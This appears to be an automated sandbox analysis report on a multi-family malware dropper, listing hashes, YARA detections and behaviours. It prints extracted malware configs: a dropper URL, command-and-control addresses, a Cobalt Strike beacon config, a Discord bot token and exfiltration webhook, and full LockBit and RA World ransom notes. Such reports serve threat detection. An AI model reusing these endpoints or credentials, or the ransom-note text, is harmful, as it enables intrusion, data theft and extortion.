ades_stealer | 3755718db9d33f4aba2563de454d4530a308b41b1096c904102d08e2101f2020

user interaction
yes
max time kernel
32s
max time network
293s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260617-ja
resource tags

arch:x64arch:x86image:win11ltsc2024-20260617-jalocale:ja-jpos:windows11-ltsc_2024-x64systemwindows
submitted
19/06/2026, 04:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
TsarBomba.exe
Size 25.2MB
Sample260619-e5zwmsfs2v
SHA256 3755718db9d33f4aba2563de454d4530a308b41b1096c904102d08e2101f2020
MD5 91025d6f02e542f2e37ffce7d0ce8b51
SHA1 e2d80ef6075556cd23ce0445473c061f200b5dd4
SHA512 09c6d7f8b64c75e963d63ad1478a81f567182a948d652346f1c68d233efead615703aadb4ce9cd5e5fd7235089f2439e9153231ea3e1a2c677ae84aec29afc89
SSDEEP 393216:NVn+SLSF5pdHn2AXUCITkkkkkrkkkkkkkkkkkk6lX0wfGtbYTZb08MQUCITkkkkS:PduvnNG0shAQ31qnMb5OM9Tt
TLSH
T13547C0863B60C192CDF278719473DAC016387E6DCF3255A6DBCB4A0ABC518B7051BE7A
MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://185.156.72.2/testmine/random.exe

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://185.156.72.2/testmine/random.exe

Extracted

Family

redline

Botnet

cheat

154.91.34.165:64951

Extracted

Path

C:\Users\Admin\Contacts\Data breach warning.txt

Ransom Note

# RA World ---- ## Notification Your data are stolen and encrypted when you read this letter. We have copied all data to our server. Don't worry, your data will not be made public if you do what I want. But if you don't pay, we will release the data, contact your customers and regulators and destroy your system again. We can decrypt some files to prove that the decrypt tool works correctly. ## What we want? Contact us, pay for ransom. If you pay, we will provide you the programs for decryption and we will delete your data where on our servers. If not, we will leak your datas and your company will appear in the shame list below. If not, we will email to your customers and report to supervisory authority. ## How contact us? We use qTox to contact, you can download qTox from office website: https://qtox.github.io Our qTox ID is: 358AC0F6C813DD4FD243524F040E2F77969278274BD8A8945B5041A249786E32CC784580F2EC We have no other contacts. If there is no contact within 3 days, you will appear on our website and we will make sample files public. If there is no contact within 7 days, we will stop communicating and release data in batches. The longer time, the higher ransom. ## RA World Office Site: [Permanent address] http://raworldw32b2qxevn3gp63pvibgixr4v75z62etlptg3u3pmajwra4ad.onion [Temporary address] http://161.35.200.18 ## Sample files release link: Sample files: https://gofile.io/d/ufuFye ## Unpay Victim Lists *** You'll be here too if you don't pay! *** *** More and more people will get your files! *** [NIDEC GPM GmbH] [Die Unfallkasse Th�ringen] [HALLIDAYS GROUP LIMITED] [Rockford Gastroenterology Associates] [Di Martino Group] [Alablaboratoria] [Comer] [Informist Media] [SUMMIT VETERINARY PHARMACEUTICALS LIMITED] [Chung Hwa Chemical Industrial Works] [Aceromex] [247ExpressLogistics] [Yuxin Automobile Co.Ltd] [Piex Group] [Zurvita] [BiscoIndustries] [Decimal Point Analytics Pvt] [DeepNoid] [Eastern Media International Corporation] [EyeGene] [Insurance Providers Group] [Thaire] [Wealth Enhancement Group] You can use Tor Browser to open .onion url. Ger more information from Tor office website: https://www.torproject.org

URLs

https://qtox.github.io
http://raworldw32b2qxevn3gp63pvibgixr4v75z62etlptg3u3pmajwra4ad.onion
http://161.35.200.18
https://gofile.io/d/ufuFye

Extracted

Family

vidar

Version

13.6

Botnet

158fdd2a4f5abb978509580715e5353f

https://t.me/m00f3r
https://steamcommunity.com/profiles/76561199851454339

Attributes

user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/132.0.0.0 Safari/537.36 OPR/117.0.0.0

Extracted

Family

discordrat

Attributes

discord_token
MTM0OTU1Nzg2MTk3NzY4NjExOA.GZnBJ8.ModoCKrx8GueOq0zGHlbO14l4wHwAZe9839-DA
server_id
1350894549899411528

Extracted

Path

C:\fnsYm5R5i.README.txt

lockbit

Ransom Note

~~~ LockBit 3.0 the world's fastest ransomware since 2019~~~ >>>> Your data are stolen and encrypted The data will be published on TOR website if you do not pay the ransom Links for Tor Browser: http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion http://lockbitaptjpikdqjynvgozhgc6bgetgucdk5xjacozeaawihmoio6yd.onion http://lockbitaptq7ephv2oigdncfhtwhpqgwmqojnxqdyhprxxfpcllqdxad.onion http://lockbitaptstzf3er2lz6ku3xuifafq2yh5lmiqj5ncur6rtlmkteiqd.onion http://lockbitaptoofrpignlz6dt2wqqc5z3a4evjevoa3eqdfcntxad5lmyd.onion Links for the normal browser http://lockbitapt.uz http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion.ly http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion.ly http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion.ly http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion.ly http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion.ly http://lockbitaptjpikdqjynvgozhgc6bgetgucdk5xjacozeaawihmoio6yd.onion.ly http://lockbitaptq7ephv2oigdncfhtwhpqgwmqojnxqdyhprxxfpcllqdxad.onion.ly http://lockbitaptstzf3er2lz6ku3xuifafq2yh5lmiqj5ncur6rtlmkteiqd.onion.ly http://lockbitaptoofrpignlz6dt2wqqc5z3a4evjevoa3eqdfcntxad5lmyd.onion.ly >>>> What guarantees that we will not deceive you? We are not a politically motivated group and we do not need anything other than your money. If you pay, we will provide you the programs for decryption and we will delete your data. Life is too short to be sad. Be not sad, money, it is only paper. If we do not give you decrypters, or we do not delete your data after payment, then nobody will pay us in the future. Therefore to us our reputation is very important. We attack the companies worldwide and there is no dissatisfied victim after payment. You can obtain information about us on twitter https://twitter.com/hashtag/lockbit?f=live >>>> You need contact us and decrypt one file for free on these TOR sites with your personal DECRYPTION ID Download and install TOR Browser https://www.torproject.org/ Write to a chat and wait for the answer, we will always answer you. Sometimes you will need to wait for our answer because we attack many companies. Links for Tor Browser: http://lockbitsupt7nr3fa6e7xyb73lk6bw6rcneqhoyblniiabj4uwvzapqd.onion http://lockbitsupuhswh4izvoucoxsbnotkmgq6durg7kficg6u33zfvq3oyd.onion http://lockbitsupn2h6be2cnqpvncyhj4rgmnwn44633hnzzmtxdvjoqlp7yd.onion Link for the normal browser http://lockbitsupp.uz If you do not get an answer in the chat room for a long time, the site does not work and in any other emergency, you can contact us in jabber or tox. Tox ID LockBitSupp: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 XMPP (Jabber) Support: [email protected] [email protected] >>>> Your personal DECRYPTION ID: 2936B8B4C916B76C1B07772CFA890F25 >>>> Warning! Do not DELETE or MODIFY any files, it can lead to recovery problems! >>>> Warning! If you do not pay the ransom we will attack your company repeatedly again! >>>> Advertisement Would you like to earn millions of dollars $$$ ? Our company acquire access to networks of various companies, as well as insider information that can help you steal the most valuable data of any company. You can provide us accounting data for the access to any company, for example, login and password to RDP, VPN, corporate email, etc. Open our letter at your email. Launch the provided virus on any computer in your company. You can do it both using your work computer or the computer of any other employee in order to divert suspicion of being in collusion with us. Companies pay us the foreclosure for the decryption of files and prevention of data leak. You can contact us using Tox messenger without registration and SMS https://tox.chat/download.html. Using Tox messenger, we will never know your real name, it means your privacy is guaranteed. If you want to contact us, write in jabber or tox. Tox ID LockBitSupp: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 XMPP (Jabber) Support: [email protected] [email protected] If this contact is expired, and we do not respond you, look for the relevant contact data on our website via Tor or Brave browser Links for Tor Browser: http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion http://lockbitaptjpikdqjynvgozhgc6bgetgucdk5xjacozeaawihmoio6yd.onion http://lockbitaptq7ephv2oigdncfhtwhpqgwmqojnxqdyhprxxfpcllqdxad.onion http://lockbitaptstzf3er2lz6ku3xuifafq2yh5lmiqj5ncur6rtlmkteiqd.onion http://lockbitaptoofrpignlz6dt2wqqc5z3a4evjevoa3eqdfcntxad5lmyd.onion Links for the normal browser http://lockbitapt.uz http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion.ly http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion.ly http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion.ly http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion.ly http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion.ly http://lockbitaptjpikdqjynvgozhgc6bgetgucdk5xjacozeaawihmoio6yd.onion.ly http://lockbitaptq7ephv2oigdncfhtwhpqgwmqojnxqdyhprxxfpcllqdxad.onion.ly http://lockbitaptstzf3er2lz6ku3xuifafq2yh5lmiqj5ncur6rtlmkteiqd.onion.ly http://lockbitaptoofrpignlz6dt2wqqc5z3a4evjevoa3eqdfcntxad5lmyd.onion.ly

Emails

URLs

http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion
http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion
http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion
http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion
http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion
http://lockbitaptjpikdqjynvgozhgc6bgetgucdk5xjacozeaawihmoio6yd.onion
http://lockbitaptq7ephv2oigdncfhtwhpqgwmqojnxqdyhprxxfpcllqdxad.onion
http://lockbitaptstzf3er2lz6ku3xuifafq2yh5lmiqj5ncur6rtlmkteiqd.onion
http://lockbitaptoofrpignlz6dt2wqqc5z3a4evjevoa3eqdfcntxad5lmyd.onion
http://lockbitapt.uz
http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion.ly
http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion.ly
http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion.ly
http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion.ly
http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion.ly
http://lockbitaptjpikdqjynvgozhgc6bgetgucdk5xjacozeaawihmoio6yd.onion.ly
http://lockbitaptq7ephv2oigdncfhtwhpqgwmqojnxqdyhprxxfpcllqdxad.onion.ly
http://lockbitaptstzf3er2lz6ku3xuifafq2yh5lmiqj5ncur6rtlmkteiqd.onion.ly
http://lockbitaptoofrpignlz6dt2wqqc5z3a4evjevoa3eqdfcntxad5lmyd.onion.ly
http://lockbitsupt7nr3fa6e7xyb73lk6bw6rcneqhoyblniiabj4uwvzapqd.onion
http://lockbitsupuhswh4izvoucoxsbnotkmgq6durg7kficg6u33zfvq3oyd.onion
http://lockbitsupn2h6be2cnqpvncyhj4rgmnwn44633hnzzmtxdvjoqlp7yd.onion
http://lockbitsupp.uz
https://tox.chat/download.html

Extracted

Family

gh0strat

192.168.1.221

Extracted

Path

C:\ahIFlNJOT.README.txt

lockbit

Ransom Note

~~~ LockBit 3.0 the world's fastest ransomware since 2019~~~ >>>> Your data are stolen and encrypted >>>> What guarantees that we will not deceive you? We are not a politically motivated group and we do not need anything other than your money. If you pay, we will provide you the programs for decryption and we will delete your data. Life is too short to be sad. Be not sad, money, it is only paper. If we do not give you decrypters, or we do not delete your data after payment, then nobody will pay us in the future. Therefore to us our reputation is very important. We attack the companies worldwide and there is no dissatisfied victim after payment. You can obtain information about us on twitter https://twitter.com/hashtag/lockbit?f=live >>>> you can contact us in mail or tox. Tox ID LockBitSupp: 599A61A3310B75EC1713521B487B9FD9D2D02CCF37830FF941DD3AD35F12E86960AC75B9F171 mail Support: [email protected] >>>> Your personal DECRYPTION ID: EB62581AF710E223A64662282D0C4BCC >>>> Warning! Do not DELETE or MODIFY any files, it can lead to recovery problems! >>>> Warning! If you do not pay the ransom we will attack your company repeatedly again! >>>> Advertisement Would you like to earn millions of dollars $$$ ? Our company acquire access to networks of various companies, as well as insider information that can help you steal the most valuable data of any company. You can provide us accounting data for the access to any company, for example, login and password to RDP, VPN, corporate email, etc. Open our letter at your email. Launch the provided virus on any computer in your company. You can do it both using your work computer or the computer of any other employee in order to divert suspicion of being in collusion with us. Companies pay us the foreclosure for the decryption of files and prevention of data leak. You can contact us using Tox messenger without registration and SMS https://tox.chat/download.html. Using Tox messenger, we will never know your real name, it means your privacy is guaranteed. If you want to contact us, write in jabber or tox. Tox ID LockBitSupp: 599A61A3310B75EC1713521B487B9FD9D2D02CCF37830FF941DD3AD35F12E86960AC75B9F171 mail Support: [email protected]

Emails

[email protected]

URLs

https://tox.chat/download.html

Extracted

Family

umbral

Version

v1.3

https://discord.com/api/webhooks/1346459311483785276/cQnVuDAoiFJcDf4vo7vWTgnnFbmUju8Qxk65L_lTD8cZZ2u1KsT1eGhKTrTCfucO5-er

Extracted

Family

cobaltstrike

Botnet

987654321

http://103.171.35.26:9443/dot.gif

Attributes

access_type
512
beacon_type
2048
host
103.171.35.26,/dot.gif
http_header1
AAAABwAAAAAAAAADAAAABgAAAAZDb29raWUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
http_header2
AAAACgAAACZDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbQAAAAcAAAAAAAAABQAAAAJpZAAAAAcAAAABAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
http_method1
GET
http_method2
POST
polling_time
60000
port_number
9443
sc_process32
%windir%\syswow64\rundll32.exe
sc_process64
%windir%\sysnative\rundll32.exe
state_machine
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCYwABfVZCivHbnjZUO+BO81zPgD/iC2oPyKTKg/ktH1Zbz3KyDsPWnMof9juyAfTGI73mxgqkNUk3MwtLRfIqw+cleDaWzp4gE2tnKy9qy4dqKpTA6yNxxtvSYH3EW3YQb7BsYeNZclmAmezp4zgRUwqydV21a6CYhEsjH2IeQ7wIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
unknown1
4096
unknown2
AAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
uri
/submit.php
user_agent
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; BOIE9;ENUSMSE)
watermark
987654321

Signatures

Family: AdesStealer
AdesStealer is a modular stealer written in C#.
stealer ades_stealer
Family: Chaos
Ransomware family first seen in June 2021.
ransomware chaos
Family: Cobaltstrike
Detected malicious payload which is part of Cobaltstrike.
trojan backdoor cobaltstrike
Family: DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat
Family: Discord RAT
A RAT written in C# using Discord as a C2.
stealer rootkit rat persistence discordrat
Family: Gh0strat
Gh0st RAT is a remote access tool (RAT) with its source code public and it has been used by multiple Chinese groups.
rat gh0strat
Family: HiddenTear, Cryptear
HiddenTear aka Cryptear is an open-source ransomware available on Github since 2015, with many versions in the wild.
ransomware hiddentear
Family: JLocker
JLocker, also known as JRansomware, is a new Rust based ransomware.
ransomware jlocker
Family: Lockbit
Ransomware family with multiple variants released since late 2019.
ransomware lockbit
Family: ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Family: RA World
RA World ransomware, also known as RA Group, is a crypto-ransomware variant that has evolved from the earlier Babuk ransomware. It emerged in April 2023.
ransomware raworld
Family: RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline
Family: Rokrat
Rokrat is a remote access trojan written in c++.
rat rokrat
Family: SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
trojan rat sectoprat
Family: Umbral
Umbral stealer is an open-source modular stealer written in C#.
stealer umbral
Family: ValleyRat
ValleyRat stage2 is a backdoor written in C++.
backdoor valleyrat_s2
Family: Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Family: Xorist Ransomware
Xorist is a ransomware first seen in 2020.
ransomware xorist
Family: Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Chaos Ransomware 2 IoCs

resource	yara_rule
behavioral4/files/0x000b00000001c707-1678.dat	family_chaos
behavioral4/memory/6320-2739-0x0000000000980000-0x000000000098C000-memory.dmp	family_chaos

DCRat payload 1 IoCs

rat

resource	yara_rule
behavioral4/memory/1820-282-0x000000001B250000-0x000000001B328000-memory.dmp	family_dcrat_v2

Detect Rokrat payload 1 IoCs

resource	yara_rule
behavioral4/files/0x000f00000001c62f-2812.dat	family_rokrat

Detect Vidar Stealer 2 IoCs

stealer

resource	yara_rule
behavioral4/memory/4668-330-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral4/memory/4668-331-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral4/files/0x000b00000001c7df-6142.dat	family_xworm

Detected Xorist Ransomware 1 IoCs

resource	yara_rule
behavioral4/files/0x000c00000001c7d9-6103.dat	family_xorist

Detects AdesStealer 1 IoCs

resource	yara_rule
behavioral4/files/0x000c00000001c7da-6108.dat	family_adesstealer

Detects HiddenTear Ransomware 1 IoCs

resource	yara_rule
behavioral4/files/0x000b00000001c7e0-6148.dat	family_hiddentear

Detects JLocker ransomware. 1 IoCs

resource	yara_rule
behavioral4/files/0x000c00000001c7d3-6113.dat	family_jlocker

Detects Umbral payload 4 IoCs

resource	yara_rule
behavioral4/files/0x000b00000001c704-1656.dat	family_umbral
behavioral4/files/0x000b00000001c704-1656.dat	family_umbral_obfuscated
behavioral4/memory/8976-1673-0x000002165B990000-0x000002165B9D0000-memory.dmp	family_umbral
behavioral4/memory/8976-1673-0x000002165B990000-0x000002165B9D0000-memory.dmp	family_umbral_obfuscated

Detects ValleyRAT payload 1 IoCs

resource	yara_rule
behavioral4/files/0x001a00000001c635-581.dat	family_valleyrat_stage_2_v2

Gh0st RAT payload 1 IoCs

resource	yara_rule
behavioral4/memory/6956-1638-0x0000000010000000-0x0000000010015000-memory.dmp	family_gh0strat

ModiLoader Second Stage 1 IoCs

resource	yara_rule
behavioral4/memory/4052-2745-0x0000000000400000-0x0000000000545000-memory.dmp	modiloader_stage2

Process spawned unexpected child process 18 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1256	4800	schtasks.exe	106
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2664	4800	schtasks.exe	106
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5612	4800	schtasks.exe	106
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	624	4800	schtasks.exe	106
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1268	4800	schtasks.exe	106
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1216	4800	schtasks.exe	106
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3080	4800	schtasks.exe	106
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2600	4800	schtasks.exe	106
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1712	4800	schtasks.exe	106
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4752	4800	schtasks.exe	106
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3496	4800	schtasks.exe	106
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2272	4800	schtasks.exe	106
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	936	4800	schtasks.exe	106
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4148	4800	schtasks.exe	106
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4920	4800	schtasks.exe	106
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1440	4800	schtasks.exe	106
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3080	4800	schtasks.exe	106
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	988	4800	schtasks.exe	106

RedLine payload 2 IoCs

resource	yara_rule
behavioral4/files/0x000e00000001c5be-4.dat	family_redline
behavioral4/memory/1516-37-0x0000000000990000-0x00000000009AE000-memory.dmp	family_redline

Rule to detect Lockbit 3.0 ransomware Windows payload 2 IoCs

resource	yara_rule
behavioral4/files/0x001300000001c639-622.dat	family_lockbit
behavioral4/files/0x000d00000001c6f9-1647.dat	family_lockbit

SectopRAT payload 2 IoCs

resource	yara_rule
behavioral4/files/0x000e00000001c5be-4.dat	family_sectoprat
behavioral4/memory/1516-37-0x0000000000990000-0x00000000009AE000-memory.dmp	family_sectoprat

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Renames multiple (173) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Command and Scripting Interpreter: PowerShell 1 TTPs 25 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
6460	powershell.exe
5024	powershell.exe
3524	powershell.exe
2440	powershell.exe
2988	powershell.exe
9980	powershell.exe
2804	powershell.exe
3092	powershell.exe
1364	powershell.exe
2400	powershell.exe
5704	powershell.exe
300	powershell.exe
672	powershell.exe
6612	powershell.exe
1712	powershell.exe
5872	powershell.exe
3764	powershell.exe
2004	powershell.exe
4116	powershell.exe
4752	powershell.exe
3868	powershell.exe
1180	powershell.exe
3372	powershell.exe
4464	powershell.exe
5392	powershell.exe

Signed with revoked ConnectWise certificate 1 IoCs

Binary is signed using a ConnectWise certificate revoked for key compromise.

revoked_codesign

resource	yara_rule
behavioral4/files/0x000b00000001c7d8-6095.dat	revoked_cert_connectwise

ASPack v2.12-2.42 1 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral4/files/0x001500000001c637-601.dat	aspack_v212_v242

Executes dropped EXE 14 IoCs

pid	Process
1516	0f78a658b60f0879acccf0933d9ae8a5d2c188e9f16b8e6f7b01bd0cc9b5c4e1.exe
1380	0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe
3140	01ec7b1066df7c55e262dc375bff5fd13a1fc9706c3db4b3522ac8b9d2453b52.exe
5624	1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe
2672	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
2080	4d5ecf3d1955458195771630f03f6ef42f5f62e66ed8e0681f8311d25aecc2bb.exe
1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
2412	vkl.exe
5288	ZcwWvGIJLelYh.exe
2468	4d5ecf3d1955458195771630f03f6ef42f5f62e66ed8e0681f8311d25aecc2bb.exe
5244	sihost.exe
2036	lsass.exe
3224	explorer.exe
4452	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe

Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 1 IoCs

Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

defense_evasion

File/Path Exclusions

T1564.012

Disable or Modify Tools

T1562.001

pid	Process
7760	cmd.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3226024100-3888324339-2736661264-1000\Software\Microsoft\Windows\CurrentVersion\Run\vkl-X2HJ19 = "\"C:\\Windows\\vkl.exe\""	MSBuild.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\vkl-X2HJ19 = "\"C:\\Windows\\vkl.exe\""	MSBuild.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\D:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\Z:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\O:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\J:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\K:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\R:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\U:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
